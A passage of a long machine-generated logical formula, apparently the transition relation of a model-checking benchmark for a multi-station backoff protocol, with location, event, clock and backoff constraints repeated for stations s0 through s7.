&& (( !s7_evt0) && ( !s7_evt1))))))))) && ((( !s7_evt2) && (s7_evt0 && ( !s7_evt1))) || ( !((_x_s7_l0 && ( !_x_s7_l1)) && ((s7_l0 && ( !s7_l1)) && ((delta == 0.0) && ( !(( !s7_evt2) && (( !s7_evt0) && ( !s7_evt1)))))))))) && (((s7_evt2 && (( !s7_evt0) && ( !s7_evt1))) && (s7_backoff <= s7_x)) || ( !((_x_s7_l1 && ( !_x_s7_l0)) && ((s7_l0 && ( !s7_l1)) && ((delta == 0.0) && ( !(( !s7_evt2) && (( !s7_evt0) && ( !s7_evt1)))))))))) && (((((((((((((((((( !_x_s6_evt2) && (_x_s6_evt0 && ( !_x_s6_evt1))) || (((( !_x_s6_evt2) && (( !_x_s6_evt0) && ( !_x_s6_evt1))) || (_x_s6_evt2 && (( !_x_s6_evt0) && ( !_x_s6_evt1)))) || ((( !_x_s6_evt2) && (_x_s6_evt1 && ( !_x_s6_evt0))) || (_x_s6_evt2 && (_x_s6_evt1 && ( !_x_s6_evt0)))))) && ((( !_x_s6_l0) && ( !_x_s6_l1)) || ((_x_s6_l1 && ( !_x_s6_l0)) || (_x_s6_l0 && ( !_x_s6_l1))))) && (13.0 <= _x_s6_backoff)) && (( !(_x_s6_lambda <= 0.0)) && ((_x_s6_x <= _x_s6_lambda) || ( !(_x_s6_l1 && ( !_x_s6_l0)))))) && (((((s6_l0 == _x_s6_l0) && (s6_l1 == _x_s6_l1)) && (s6_lambda == _x_s6_lambda)) && (((delta + (s6_x + (-1.0 * _x_s6_x))) == 0.0) && (s6_backoff == _x_s6_backoff))) || ( !(( !(delta <= 0.0)) || (( !s6_evt2) && (( !s6_evt0) && ( !s6_evt1))))))) && ((((_x_s6_l0 && ( !_x_s6_l1)) || ((( !_x_s6_l0) && ( !_x_s6_l1)) || (_x_s6_l1 && ( !_x_s6_l0)))) && ((s6_backoff == _x_s6_backoff) && (_x_s6_x == 0.0))) || ( !((( !s6_l0) && ( !s6_l1)) && ((delta == 0.0) && ( !(( !s6_evt2) && (( !s6_evt0) && ( !s6_evt1))))))))) && (((( !s6_evt2) && (s6_evt0 && ( !s6_evt1))) && (s6_lambda == _x_s6_lambda)) || ( !((( !_x_s6_l0) && ( !_x_s6_l1)) && ((( !s6_l0) && ( !s6_l1)) && ((delta == 0.0) && ( !(( !s6_evt2) && (( !s6_evt0) && ( !s6_evt1)))))))))) && ((s6_evt2 && (( !s6_evt0) && ( !s6_evt1))) || ( !((_x_s6_l1 && ( !_x_s6_l0)) && ((( !s6_l0) && ( !s6_l1)) && ((delta == 0.0) && ( !(( !s6_evt2) && (( !s6_evt0) && ( !s6_evt1)))))))))) && (((s6_lambda == _x_s6_lambda) && ((s6_evt2 && (s6_evt1 && ( !s6_evt0))) || (( !s6_evt2) && (s6_evt0 && ( !s6_evt1))))) || ( !((_x_s6_l0 && ( !_x_s6_l1)) && ((( !s6_l0) && ( !s6_l1)) && ((delta == 0.0) && ( !(( !s6_evt2) && (( !s6_evt0) && ( !s6_evt1)))))))))) && ((((s6_lambda == _x_s6_lambda) && (_x_s6_x == 0.0)) && ((( !_x_s6_l0) && ( !_x_s6_l1)) || (_x_s6_l0 && ( !_x_s6_l1)))) || ( !((s6_l1 && ( !s6_l0)) && ((delta == 0.0) && ( !(( !s6_evt2) && (( !s6_evt0) && ( !s6_evt1))))))))) && (((s6_lambda <= s6_x) && ((( !s6_evt2) && (s6_evt1 && ( !s6_evt0))) && (_x_s6_backoff <= s6_backoff))) || ( !((( !_x_s6_l0) && ( !_x_s6_l1)) && ((s6_l1 && ( !s6_l0)) && ((delta == 0.0) && ( !(( !s6_evt2) && (( !s6_evt0) && ( !s6_evt1)))))))))) && (((( !s6_evt2) && (s6_evt0 && ( !s6_evt1))) && ((s6_backoff + (-1.0 * _x_s6_backoff)) <= -1.0)) || ( !((_x_s6_l0 && ( !_x_s6_l1)) && ((s6_l1 && ( !s6_l0)) && ((delta == 0.0) && ( !(( !s6_evt2) && (( !s6_evt0) && ( !s6_evt1)))))))))) && (((s6_lambda == _x_s6_lambda) && (((_x_s6_l1 && ( !_x_s6_l0)) || (_x_s6_l0 && ( !_x_s6_l1))) && ((s6_backoff == _x_s6_backoff) && (_x_s6_x == 0.0)))) || ( !((s6_l0 && ( !s6_l1)) && ((delta == 0.0) && ( !(( !s6_evt2) && (( !s6_evt0) && ( !s6_evt1))))))))) && ((( !s6_evt2) && (s6_evt0 && ( !s6_evt1))) || ( !((_x_s6_l0 && ( !_x_s6_l1)) && ((s6_l0 && ( !s6_l1)) && ((delta == 0.0) && ( !(( !s6_evt2) && (( !s6_evt0) && ( !s6_evt1)))))))))) && (((s6_evt2 && (( !s6_evt0) && ( !s6_evt1))) && (s6_backoff <= s6_x)) || ( !((_x_s6_l1 && ( !_x_s6_l0)) && ((s6_l0 && ( !s6_l1)) && ((delta == 0.0) && ( !(( !s6_evt2) && (( !s6_evt0) && ( !s6_evt1)))))))))) && (((((((((((((((((( !_x_s5_evt2) && (_x_s5_evt0 && ( !_x_s5_evt1))) || (((( !_x_s5_evt2) && (( !_x_s5_evt0) && ( !_x_s5_evt1))) || (_x_s5_evt2 && (( !_x_s5_evt0) && ( !_x_s5_evt1)))) || ((( !_x_s5_evt2) && (_x_s5_evt1 && ( !_x_s5_evt0))) || (_x_s5_evt2 && (_x_s5_evt1 && ( !_x_s5_evt0)))))) && ((( !_x_s5_l0) && ( !_x_s5_l1)) || ((_x_s5_l1 && ( !_x_s5_l0)) || (_x_s5_l0 && ( !_x_s5_l1))))) && (13.0 <= _x_s5_backoff)) && (( !(_x_s5_lambda <= 0.0)) && ((_x_s5_x <= _x_s5_lambda) || ( !(_x_s5_l1 && ( !_x_s5_l0)))))) && (((((s5_l0 == _x_s5_l0) && (s5_l1 == _x_s5_l1)) && (s5_lambda == _x_s5_lambda)) && (((delta + (s5_x + (-1.0 * _x_s5_x))) == 0.0) && (s5_backoff == _x_s5_backoff))) || ( !(( !(delta <= 0.0)) || (( !s5_evt2) && (( !s5_evt0) && ( !s5_evt1))))))) && ((((_x_s5_l0 && ( !_x_s5_l1)) || ((( !_x_s5_l0) && ( !_x_s5_l1)) || (_x_s5_l1 && ( !_x_s5_l0)))) && ((s5_backoff == _x_s5_backoff) && (_x_s5_x == 0.0))) || ( !((( !s5_l0) && ( !s5_l1)) && ((delta == 0.0) && ( !(( !s5_evt2) && (( !s5_evt0) && ( !s5_evt1))))))))) && (((( !s5_evt2) && (s5_evt0 && ( !s5_evt1))) && (s5_lambda == _x_s5_lambda)) || ( !((( !_x_s5_l0) && ( !_x_s5_l1)) && ((( !s5_l0) && ( !s5_l1)) && ((delta == 0.0) && ( !(( !s5_evt2) && (( !s5_evt0) && ( !s5_evt1)))))))))) && ((s5_evt2 && (( !s5_evt0) && ( !s5_evt1))) || ( !((_x_s5_l1 && ( !_x_s5_l0)) && ((( !s5_l0) && ( !s5_l1)) && ((delta == 0.0) && ( !(( !s5_evt2) && (( !s5_evt0) && ( !s5_evt1)))))))))) && (((s5_lambda == _x_s5_lambda) && ((s5_evt2 && (s5_evt1 && ( !s5_evt0))) || (( !s5_evt2) && (s5_evt0 && ( !s5_evt1))))) || ( !((_x_s5_l0 && ( !_x_s5_l1)) && ((( !s5_l0) && ( !s5_l1)) && ((delta == 0.0) && ( !(( !s5_evt2) && (( !s5_evt0) && ( !s5_evt1)))))))))) && ((((s5_lambda == _x_s5_lambda) && (_x_s5_x == 0.0)) && ((( !_x_s5_l0) && ( !_x_s5_l1)) || (_x_s5_l0 && ( !_x_s5_l1)))) || ( !((s5_l1 && ( !s5_l0)) && ((delta == 0.0) && ( !(( !s5_evt2) && (( !s5_evt0) && ( !s5_evt1))))))))) && (((s5_lambda <= s5_x) && ((( !s5_evt2) && (s5_evt1 && ( !s5_evt0))) && (_x_s5_backoff <= s5_backoff))) || ( !((( !_x_s5_l0) && ( !_x_s5_l1)) && ((s5_l1 && ( !s5_l0)) && ((delta == 0.0) && ( !(( !s5_evt2) && (( !s5_evt0) && ( !s5_evt1)))))))))) && (((( !s5_evt2) && (s5_evt0 && ( !s5_evt1))) && ((s5_backoff + (-1.0 * _x_s5_backoff)) <= -1.0)) || ( !((_x_s5_l0 && ( !_x_s5_l1)) && ((s5_l1 && ( !s5_l0)) && ((delta == 0.0) && ( !(( !s5_evt2) && (( !s5_evt0) && ( !s5_evt1)))))))))) && (((s5_lambda == _x_s5_lambda) && (((_x_s5_l1 && ( !_x_s5_l0)) || (_x_s5_l0 && ( !_x_s5_l1))) && ((s5_backoff == _x_s5_backoff) && (_x_s5_x == 0.0)))) || ( !((s5_l0 && ( !s5_l1)) && ((delta == 0.0) && ( !(( !s5_evt2) && (( !s5_evt0) && ( !s5_evt1))))))))) && ((( !s5_evt2) && (s5_evt0 && ( !s5_evt1))) || ( !((_x_s5_l0 && ( !_x_s5_l1)) && ((s5_l0 && ( !s5_l1)) && ((delta == 0.0) && ( !(( !s5_evt2) && (( !s5_evt0) && ( !s5_evt1)))))))))) && (((s5_evt2 && (( !s5_evt0) && ( !s5_evt1))) && (s5_backoff <= s5_x)) || ( !((_x_s5_l1 && ( !_x_s5_l0)) && ((s5_l0 && ( !s5_l1)) && ((delta == 0.0) && ( !(( !s5_evt2) && (( !s5_evt0) && ( !s5_evt1)))))))))) && (((((((((((((((((( !_x_s4_evt2) && (_x_s4_evt0 && ( !_x_s4_evt1))) || (((( !_x_s4_evt2) && (( !_x_s4_evt0) && ( !_x_s4_evt1))) || (_x_s4_evt2 && (( !_x_s4_evt0) && ( !_x_s4_evt1)))) || ((( !_x_s4_evt2) && (_x_s4_evt1 && ( !_x_s4_evt0))) || (_x_s4_evt2 && (_x_s4_evt1 && ( !_x_s4_evt0)))))) && ((( !_x_s4_l0) && ( !_x_s4_l1)) || ((_x_s4_l1 && ( !_x_s4_l0)) || (_x_s4_l0 && ( !_x_s4_l1))))) && (13.0 <= _x_s4_backoff)) && (( !(_x_s4_lambda <= 0.0)) && ((_x_s4_x <= _x_s4_lambda) || ( !(_x_s4_l1 && ( !_x_s4_l0)))))) && (((((s4_l0 == _x_s4_l0) && (s4_l1 == _x_s4_l1)) && (s4_lambda == _x_s4_lambda)) && (((delta + (s4_x + (-1.0 * _x_s4_x))) == 0.0) && (s4_backoff == _x_s4_backoff))) || ( !(( !(delta <= 0.0)) || (( !s4_evt2) && (( !s4_evt0) && ( !s4_evt1))))))) && ((((_x_s4_l0 && ( !_x_s4_l1)) || ((( !_x_s4_l0) && ( !_x_s4_l1)) || (_x_s4_l1 && ( !_x_s4_l0)))) && ((s4_backoff == _x_s4_backoff) && (_x_s4_x == 0.0))) || ( !((( !s4_l0) && ( !s4_l1)) && ((delta == 0.0) && ( !(( !s4_evt2) && (( !s4_evt0) && ( !s4_evt1))))))))) && (((( !s4_evt2) && (s4_evt0 && ( !s4_evt1))) && (s4_lambda == _x_s4_lambda)) || ( !((( !_x_s4_l0) && ( !_x_s4_l1)) && ((( !s4_l0) && ( !s4_l1)) && ((delta == 0.0) && ( !(( !s4_evt2) && (( !s4_evt0) && ( !s4_evt1)))))))))) && ((s4_evt2 && (( !s4_evt0) && ( !s4_evt1))) || ( !((_x_s4_l1 && ( !_x_s4_l0)) && ((( !s4_l0) && ( !s4_l1)) && ((delta == 0.0) && ( !(( !s4_evt2) && (( !s4_evt0) && ( !s4_evt1)))))))))) && (((s4_lambda == _x_s4_lambda) && ((s4_evt2 && (s4_evt1 && ( !s4_evt0))) || (( !s4_evt2) && (s4_evt0 && ( !s4_evt1))))) || ( !((_x_s4_l0 && ( !_x_s4_l1)) && ((( !s4_l0) && ( !s4_l1)) && ((delta == 0.0) && ( !(( !s4_evt2) && (( !s4_evt0) && ( !s4_evt1)))))))))) && ((((s4_lambda == _x_s4_lambda) && (_x_s4_x == 0.0)) && ((( !_x_s4_l0) && ( !_x_s4_l1)) || (_x_s4_l0 && ( !_x_s4_l1)))) || ( !((s4_l1 && ( !s4_l0)) && ((delta == 0.0) && ( !(( !s4_evt2) && (( !s4_evt0) && ( !s4_evt1))))))))) && (((s4_lambda <= s4_x) && ((( !s4_evt2) && (s4_evt1 && ( !s4_evt0))) && (_x_s4_backoff <= s4_backoff))) || ( !((( !_x_s4_l0) && ( !_x_s4_l1)) && ((s4_l1 && ( !s4_l0)) && ((delta == 0.0) && ( !(( !s4_evt2) && (( !s4_evt0) && ( !s4_evt1)))))))))) && (((( !s4_evt2) && (s4_evt0 && ( !s4_evt1))) && ((s4_backoff + (-1.0 * _x_s4_backoff)) <= -1.0)) || ( !((_x_s4_l0 && ( !_x_s4_l1)) && ((s4_l1 && ( !s4_l0)) && ((delta == 0.0) && ( !(( !s4_evt2) && (( !s4_evt0) && ( !s4_evt1)))))))))) && (((s4_lambda == _x_s4_lambda) && (((_x_s4_l1 && ( !_x_s4_l0)) || (_x_s4_l0 && ( !_x_s4_l1))) && ((s4_backoff == _x_s4_backoff) && (_x_s4_x == 0.0)))) || ( !((s4_l0 && ( !s4_l1)) && ((delta == 0.0) && ( !(( !s4_evt2) && (( !s4_evt0) && ( !s4_evt1))))))))) && ((( !s4_evt2) && (s4_evt0 && ( !s4_evt1))) || ( !((_x_s4_l0 && ( !_x_s4_l1)) && ((s4_l0 && ( !s4_l1)) && ((delta == 0.0) && ( !(( !s4_evt2) && (( !s4_evt0) && ( !s4_evt1)))))))))) && (((s4_evt2 && (( !s4_evt0) && ( !s4_evt1))) && (s4_backoff <= s4_x)) || ( !((_x_s4_l1 && ( !_x_s4_l0)) && ((s4_l0 && ( !s4_l1)) && ((delta == 0.0) && ( !(( !s4_evt2) && (( !s4_evt0) && ( !s4_evt1)))))))))) && (((((((((((((((((( !_x_s3_evt2) && (_x_s3_evt0 && ( !_x_s3_evt1))) || (((( !_x_s3_evt2) && (( !_x_s3_evt0) && ( !_x_s3_evt1))) || (_x_s3_evt2 && (( !_x_s3_evt0) && ( !_x_s3_evt1)))) || ((( !_x_s3_evt2) && (_x_s3_evt1 && ( !_x_s3_evt0))) || (_x_s3_evt2 && (_x_s3_evt1 && ( !_x_s3_evt0)))))) && ((( !_x_s3_l0) && ( !_x_s3_l1)) || ((_x_s3_l1 && ( !_x_s3_l0)) || (_x_s3_l0 && ( !_x_s3_l1))))) && (13.0 <= _x_s3_backoff)) && (( !(_x_s3_lambda <= 0.0)) && ((_x_s3_x <= _x_s3_lambda) || ( !(_x_s3_l1 && ( !_x_s3_l0)))))) && (((((s3_l0 == _x_s3_l0) && (s3_l1 == _x_s3_l1)) && (s3_lambda == _x_s3_lambda)) && (((delta + (s3_x + (-1.0 * _x_s3_x))) == 0.0) && (s3_backoff == _x_s3_backoff))) || ( !(( !(delta <= 0.0)) || (( !s3_evt2) && (( !s3_evt0) && ( !s3_evt1))))))) && ((((_x_s3_l0 && ( !_x_s3_l1)) || ((( !_x_s3_l0) && ( !_x_s3_l1)) || (_x_s3_l1 && ( !_x_s3_l0)))) && ((s3_backoff == _x_s3_backoff) && (_x_s3_x == 0.0))) || ( !((( !s3_l0) && ( !s3_l1)) && ((delta == 0.0) && ( !(( !s3_evt2) && (( !s3_evt0) && ( !s3_evt1))))))))) && (((( !s3_evt2) && (s3_evt0 && ( !s3_evt1))) && (s3_lambda == _x_s3_lambda)) || ( !((( !_x_s3_l0) && ( !_x_s3_l1)) && ((( !s3_l0) && ( !s3_l1)) && ((delta == 0.0) && ( !(( !s3_evt2) && (( !s3_evt0) && ( !s3_evt1)))))))))) && ((s3_evt2 && (( !s3_evt0) && ( !s3_evt1))) || ( !((_x_s3_l1 && ( !_x_s3_l0)) && ((( !s3_l0) && ( !s3_l1)) && ((delta == 0.0) && ( !(( !s3_evt2) && (( !s3_evt0) && ( !s3_evt1)))))))))) && (((s3_lambda == _x_s3_lambda) && ((s3_evt2 && (s3_evt1 && ( !s3_evt0))) || (( !s3_evt2) && (s3_evt0 && ( !s3_evt1))))) || ( !((_x_s3_l0 && ( !_x_s3_l1)) && ((( !s3_l0) && ( !s3_l1)) && ((delta == 0.0) && ( !(( !s3_evt2) && (( !s3_evt0) && ( !s3_evt1)))))))))) && ((((s3_lambda == _x_s3_lambda) && (_x_s3_x == 0.0)) && ((( !_x_s3_l0) && ( !_x_s3_l1)) || (_x_s3_l0 && ( !_x_s3_l1)))) || ( !((s3_l1 && ( !s3_l0)) && ((delta == 0.0) && ( !(( !s3_evt2) && (( !s3_evt0) && ( !s3_evt1))))))))) && (((s3_lambda <= s3_x) && ((( !s3_evt2) && (s3_evt1 && ( !s3_evt0))) && (_x_s3_backoff <= s3_backoff))) || ( !((( !_x_s3_l0) && ( !_x_s3_l1)) && ((s3_l1 && ( !s3_l0)) && ((delta == 0.0) && ( !(( !s3_evt2) && (( !s3_evt0) && ( !s3_evt1)))))))))) && (((( !s3_evt2) && (s3_evt0 && ( !s3_evt1))) && ((s3_backoff + (-1.0 * _x_s3_backoff)) <= -1.0)) || ( !((_x_s3_l0 && ( !_x_s3_l1)) && ((s3_l1 && ( !s3_l0)) && ((delta == 0.0) && ( !(( !s3_evt2) && (( !s3_evt0) && ( !s3_evt1)))))))))) && (((s3_lambda == _x_s3_lambda) && (((_x_s3_l1 && ( !_x_s3_l0)) || (_x_s3_l0 && ( !_x_s3_l1))) && ((s3_backoff == _x_s3_backoff) && (_x_s3_x == 0.0)))) || ( !((s3_l0 && ( !s3_l1)) && ((delta == 0.0) && ( !(( !s3_evt2) && (( !s3_evt0) && ( !s3_evt1))))))))) && ((( !s3_evt2) && (s3_evt0 && ( !s3_evt1))) || ( !((_x_s3_l0 && ( !_x_s3_l1)) && ((s3_l0 && ( !s3_l1)) && ((delta == 0.0) && ( !(( !s3_evt2) && (( !s3_evt0) && ( !s3_evt1)))))))))) && (((s3_evt2 && (( !s3_evt0) && ( !s3_evt1))) && (s3_backoff <= s3_x)) || ( !((_x_s3_l1 && ( !_x_s3_l0)) && ((s3_l0 && ( !s3_l1)) && ((delta == 0.0) && ( !(( !s3_evt2) && (( !s3_evt0) && ( !s3_evt1)))))))))) && (((((((((((((((((( !_x_s2_evt2) && (_x_s2_evt0 && ( !_x_s2_evt1))) || (((( !_x_s2_evt2) && (( !_x_s2_evt0) && ( !_x_s2_evt1))) || (_x_s2_evt2 && (( !_x_s2_evt0) && ( !_x_s2_evt1)))) || ((( !_x_s2_evt2) && (_x_s2_evt1 && ( !_x_s2_evt0))) || (_x_s2_evt2 && (_x_s2_evt1 && ( !_x_s2_evt0)))))) && ((( !_x_s2_l0) && ( !_x_s2_l1)) || ((_x_s2_l1 && ( !_x_s2_l0)) || (_x_s2_l0 && ( !_x_s2_l1))))) && (13.0 <= _x_s2_backoff)) && (( !(_x_s2_lambda <= 0.0)) && ((_x_s2_x <= _x_s2_lambda) || ( !(_x_s2_l1 && ( !_x_s2_l0)))))) && (((((s2_l0 == _x_s2_l0) && (s2_l1 == _x_s2_l1)) && (s2_lambda == _x_s2_lambda)) && (((delta + (s2_x + (-1.0 * _x_s2_x))) == 0.0) && (s2_backoff == _x_s2_backoff))) || ( !(( !(delta <= 0.0)) || (( !s2_evt2) && (( !s2_evt0) && ( !s2_evt1))))))) && ((((_x_s2_l0 && ( !_x_s2_l1)) || ((( !_x_s2_l0) && ( !_x_s2_l1)) || (_x_s2_l1 && ( !_x_s2_l0)))) && ((s2_backoff == _x_s2_backoff) && (_x_s2_x == 0.0))) || ( !((( !s2_l0) && ( !s2_l1)) && ((delta == 0.0) && ( !(( !s2_evt2) && (( !s2_evt0) && ( !s2_evt1))))))))) && (((( !s2_evt2) && (s2_evt0 && ( !s2_evt1))) && (s2_lambda == _x_s2_lambda)) || ( !((( !_x_s2_l0) && ( !_x_s2_l1)) && ((( !s2_l0) && ( !s2_l1)) && ((delta == 0.0) && ( !(( !s2_evt2) && (( !s2_evt0) && ( !s2_evt1)))))))))) && ((s2_evt2 && (( !s2_evt0) && ( !s2_evt1))) || ( !((_x_s2_l1 && ( !_x_s2_l0)) && ((( !s2_l0) && ( !s2_l1)) && ((delta == 0.0) && ( !(( !s2_evt2) && (( !s2_evt0) && ( !s2_evt1)))))))))) && (((s2_lambda == _x_s2_lambda) && ((s2_evt2 && (s2_evt1 && ( !s2_evt0))) || (( !s2_evt2) && (s2_evt0 && ( !s2_evt1))))) || ( !((_x_s2_l0 && ( !_x_s2_l1)) && ((( !s2_l0) && ( !s2_l1)) && ((delta == 0.0) && ( !(( !s2_evt2) && (( !s2_evt0) && ( !s2_evt1)))))))))) && ((((s2_lambda == _x_s2_lambda) && (_x_s2_x == 0.0)) && ((( !_x_s2_l0) && ( !_x_s2_l1)) || (_x_s2_l0 && ( !_x_s2_l1)))) || ( !((s2_l1 && ( !s2_l0)) && ((delta == 0.0) && ( !(( !s2_evt2) && (( !s2_evt0) && ( !s2_evt1))))))))) && (((s2_lambda <= s2_x) && ((( !s2_evt2) && (s2_evt1 && ( !s2_evt0))) && (_x_s2_backoff <= s2_backoff))) || ( !((( !_x_s2_l0) && ( !_x_s2_l1)) && ((s2_l1 && ( !s2_l0)) && ((delta == 0.0) && ( !(( !s2_evt2) && (( !s2_evt0) && ( !s2_evt1)))))))))) && (((( !s2_evt2) && (s2_evt0 && ( !s2_evt1))) && ((s2_backoff + (-1.0 * _x_s2_backoff)) <= -1.0)) || ( !((_x_s2_l0 && ( !_x_s2_l1)) && ((s2_l1 && ( !s2_l0)) && ((delta == 0.0) && ( !(( !s2_evt2) && (( !s2_evt0) && ( !s2_evt1)))))))))) && (((s2_lambda == _x_s2_lambda) && (((_x_s2_l1 && ( !_x_s2_l0)) || (_x_s2_l0 && ( !_x_s2_l1))) && ((s2_backoff == _x_s2_backoff) && (_x_s2_x == 0.0)))) || ( !((s2_l0 && ( !s2_l1)) && ((delta == 0.0) && ( !(( !s2_evt2) && (( !s2_evt0) && ( !s2_evt1))))))))) && ((( !s2_evt2) && (s2_evt0 && ( !s2_evt1))) || ( !((_x_s2_l0 && ( !_x_s2_l1)) && ((s2_l0 && ( !s2_l1)) && ((delta == 0.0) && ( !(( !s2_evt2) && (( !s2_evt0) && ( !s2_evt1)))))))))) && (((s2_evt2 && (( !s2_evt0) && ( !s2_evt1))) && (s2_backoff <= s2_x)) || ( !((_x_s2_l1 && ( !_x_s2_l0)) && ((s2_l0 && ( !s2_l1)) && ((delta == 0.0) && ( !(( !s2_evt2) && (( !s2_evt0) && ( !s2_evt1)))))))))) && (((((((((((((((((( !_x_s1_evt2) && (_x_s1_evt0 && ( !_x_s1_evt1))) || (((( !_x_s1_evt2) && (( !_x_s1_evt0) && ( !_x_s1_evt1))) || (_x_s1_evt2 && (( !_x_s1_evt0) && ( !_x_s1_evt1)))) || ((( !_x_s1_evt2) && (_x_s1_evt1 && ( !_x_s1_evt0))) || (_x_s1_evt2 && (_x_s1_evt1 && ( !_x_s1_evt0)))))) && ((( !_x_s1_l0) && ( !_x_s1_l1)) || ((_x_s1_l1 && ( !_x_s1_l0)) || (_x_s1_l0 && ( !_x_s1_l1))))) && (13.0 <= _x_s1_backoff)) && (( !(_x_s1_lambda <= 0.0)) && ((_x_s1_x <= _x_s1_lambda) || ( !(_x_s1_l1 && ( !_x_s1_l0)))))) && (((((s1_l0 == _x_s1_l0) && (s1_l1 == _x_s1_l1)) && (s1_lambda == _x_s1_lambda)) && (((delta + (s1_x + (-1.0 * _x_s1_x))) == 0.0) && (s1_backoff == _x_s1_backoff))) || ( !(( !(delta <= 0.0)) || (( !s1_evt2) && (( !s1_evt0) && ( !s1_evt1))))))) && ((((_x_s1_l0 && ( !_x_s1_l1)) || ((( !_x_s1_l0) && ( !_x_s1_l1)) || (_x_s1_l1 && ( !_x_s1_l0)))) && ((s1_backoff == _x_s1_backoff) && (_x_s1_x == 0.0))) || ( !((( !s1_l0) && ( !s1_l1)) && ((delta == 0.0) && ( !(( !s1_evt2) && (( !s1_evt0) && ( !s1_evt1))))))))) && (((( !s1_evt2) && (s1_evt0 && ( !s1_evt1))) && (s1_lambda == _x_s1_lambda)) || ( !((( !_x_s1_l0) && ( !_x_s1_l1)) && ((( !s1_l0) && ( !s1_l1)) && ((delta == 0.0) && ( !(( !s1_evt2) && (( !s1_evt0) && ( !s1_evt1)))))))))) && ((s1_evt2 && (( !s1_evt0) && ( !s1_evt1))) || ( !((_x_s1_l1 && ( !_x_s1_l0)) && ((( !s1_l0) && ( !s1_l1)) && ((delta == 0.0) && ( !(( !s1_evt2) && (( !s1_evt0) && ( !s1_evt1)))))))))) && (((s1_lambda == _x_s1_lambda) && ((s1_evt2 && (s1_evt1 && ( !s1_evt0))) || (( !s1_evt2) && (s1_evt0 && ( !s1_evt1))))) || ( !((_x_s1_l0 && ( !_x_s1_l1)) && ((( !s1_l0) && ( !s1_l1)) && ((delta == 0.0) && ( !(( !s1_evt2) && (( !s1_evt0) && ( !s1_evt1)))))))))) && ((((s1_lambda == _x_s1_lambda) && (_x_s1_x == 0.0)) && ((( !_x_s1_l0) && ( !_x_s1_l1)) || (_x_s1_l0 && ( !_x_s1_l1)))) || ( !((s1_l1 && ( !s1_l0)) && ((delta == 0.0) && ( !(( !s1_evt2) && (( !s1_evt0) && ( !s1_evt1))))))))) && (((s1_lambda <= s1_x) && ((( !s1_evt2) && (s1_evt1 && ( !s1_evt0))) && (_x_s1_backoff <= s1_backoff))) || ( !((( !_x_s1_l0) && ( !_x_s1_l1)) && ((s1_l1 && ( !s1_l0)) && ((delta == 0.0) && ( !(( !s1_evt2) && (( !s1_evt0) && ( !s1_evt1)))))))))) && (((( !s1_evt2) && (s1_evt0 && ( !s1_evt1))) && ((s1_backoff + (-1.0 * _x_s1_backoff)) <= -1.0)) || ( !((_x_s1_l0 && ( !_x_s1_l1)) && ((s1_l1 && ( !s1_l0)) && ((delta == 0.0) && ( !(( !s1_evt2) && (( !s1_evt0) && ( !s1_evt1)))))))))) && (((s1_lambda == _x_s1_lambda) && (((_x_s1_l1 && ( !_x_s1_l0)) || (_x_s1_l0 && ( !_x_s1_l1))) && ((s1_backoff == _x_s1_backoff) && (_x_s1_x == 0.0)))) || ( !((s1_l0 && ( !s1_l1)) && ((delta == 0.0) && ( !(( !s1_evt2) && (( !s1_evt0) && ( !s1_evt1))))))))) && ((( !s1_evt2) && (s1_evt0 && ( !s1_evt1))) || ( !((_x_s1_l0 && ( !_x_s1_l1)) && ((s1_l0 && ( !s1_l1)) && ((delta == 0.0) && ( !(( !s1_evt2) && (( !s1_evt0) && ( !s1_evt1)))))))))) && (((s1_evt2 && (( !s1_evt0) && ( !s1_evt1))) && (s1_backoff <= s1_x)) || ( !((_x_s1_l1 && ( !_x_s1_l0)) && ((s1_l0 && ( !s1_l1)) && ((delta == 0.0) && ( !(( !s1_evt2) && (( !s1_evt0) && ( !s1_evt1)))))))))) && (((((((((((((((((( !_x_s0_evt2) && (_x_s0_evt0 && ( !_x_s0_evt1))) || (((( !_x_s0_evt2) && (( !_x_s0_evt0) && ( !_x_s0_evt1))) || (_x_s0_evt2 && (( !_x_s0_evt0) && ( !_x_s0_evt1)))) || ((( !_x_s0_evt2) && (_x_s0_evt1 && ( !_x_s0_evt0))) || (_x_s0_evt2 && (_x_s0_evt1 && ( !_x_s0_evt0)))))) && ((( !_x_s0_l0) && ( !_x_s0_l1)) || ((_x_s0_l1 && ( !_x_s0_l0)) || (_x_s0_l0 && ( !_x_s0_l1))))) && (13.0 <= _x_s0_backoff)) && (( !(_x_s0_lambda <= 0.0)) && ((_x_s0_x <= _x_s0_lambda) || ( !(_x_s0_l1 && ( !_x_s0_l0)))))) && (((((s0_l0 == _x_s0_l0) && (s0_l1 == _x_s0_l1)) && (s0_lambda == _x_s0_lambda)) && (((delta + (s0_x + (-1.0 * _x_s0_x))) == 0.0) && (s0_backoff == _x_s0_backoff))) || ( !(( !(delta <= 0.0)) || (( !s0_evt2) && (( !s0_evt0) && ( !s0_evt1))))))) && ((((_x_s0_l0 && ( !_x_s0_l1)) || ((( !_x_s0_l0) && ( !_x_s0_l1)) || (_x_s0_l1 && ( !_x_s0_l0)))) && ((s0_backoff == _x_s0_backoff) && (_x_s0_x == 0.0))) || ( !((( !s0_l0) && ( !s0_l1)) && ((delta == 0.0) && ( !(( !s0_evt2) && (( !s0_evt0) && ( !s0_evt1))))))))) && (((( !s0_evt2) && (s0_evt0 && ( !s0_evt1))) && (s0_lambda == _x_s0_lambda)) || ( !((( !_x_s0_l0) && ( !_x_s0_l1)) && ((( !s0_l0) && ( !s0_l1)) && ((delta == 0.0) && ( !(( !s0_evt2) && (( !s0_evt0) && ( !s0_evt1)))))))))) && ((s0_evt2 && (( !s0_evt0) && ( !s0_evt1))) || ( !((_x_s0_l1 && ( !_x_s0_l0)) && ((( !s0_l0) && ( !s0_l1)) && ((delta == 0.0) && ( !(( !s0_evt2) && (( !s0_evt0) && ( !s0_evt1)))))))))) && (((s0_lambda == _x_s0_lambda) && ((s0_evt2 && (s0_evt1 && ( !s0_evt0))) || (( !s0_evt2) && (s0_evt0 && ( !s0_evt1))))) || ( !((_x_s0_l0 && ( !_x_s0_l1)) && ((( !s0_l0) && ( !s0_l1)) && ((delta == 0.0) && ( !(( !s0_evt2) && (( !s0_evt0) && ( !s0_evt1)))))))))) && ((((s0_lambda == _x_s0_lambda) && (_x_s0_x == 0.0)) && ((( !_x_s0_l0) && ( !_x_s0_l1)) || (_x_s0_l0 && ( !_x_s0_l1)))) || ( !((s0_l1 && ( !s0_l0)) && ((delta == 0.0) && ( !(( !s0_evt2) && (( !s0_evt0) && ( !s0_evt1))))))))) && (((s0_lambda <= s0_x) && ((( !s0_evt2) && (s0_evt1 && ( !s0_evt0))) && (_x_s0_backoff <= s0_backoff))) || ( !((( !_x_s0_l0) && ( !_x_s0_l1)) && ((s0_l1 && ( !s0_l0)) && 